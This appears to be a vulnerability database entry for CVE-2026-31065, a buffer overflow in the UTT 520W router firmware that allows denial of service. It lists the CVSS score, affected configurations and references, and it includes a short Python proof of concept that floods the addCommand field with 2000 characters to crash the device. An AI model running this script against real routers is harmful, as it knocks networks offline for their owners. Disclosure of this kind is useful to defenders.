CVE-2026-31065

Description

UTT Aggressive 520W v3v1.7.7-180627 was discovered to contain a buffer overflow in the addCommand parameter of the formConfigCliForEngineerOnly function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.

CVSS Details

CVSS Score

4.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:utt:520w_firmware:1.7.7-180627:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:utt:520w:3.0:*:*:*:*:*:*:* - NOT VULNERABLE

UTT Aggressive 520W v3v1.7.7-180627

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_poc(target_ip):
    # Target endpoint based on vulnerability description
    url = f"http://{target_ip}/cgi-bin/formConfigCliForEngineerOnly"
    
    # Malicious payload to trigger buffer overflow
    # Length may need adjustment based on specific buffer size
    buffer = "A" * 2000
    
    payload = {
        "addCommand": buffer
    }
    
    try:
        print(f"[+] Sending payload to {url}...")
        response = requests.post(url, data=payload, timeout=5)
        print(f"[!] Server responded with status code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[+] Potential DoS triggered: {e}")

if __name__ == "__main__":
    target = "192.168.1.1" # Replace with actual target IP
    exploit_poc(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31065
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31065
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31065/
[4] VulDB https://vuldb.com/cve/CVE-2026-31065
[5] https://github.com/zxq0408/Vul202601/blob/main/8.md

Raw JSON Data

JSON

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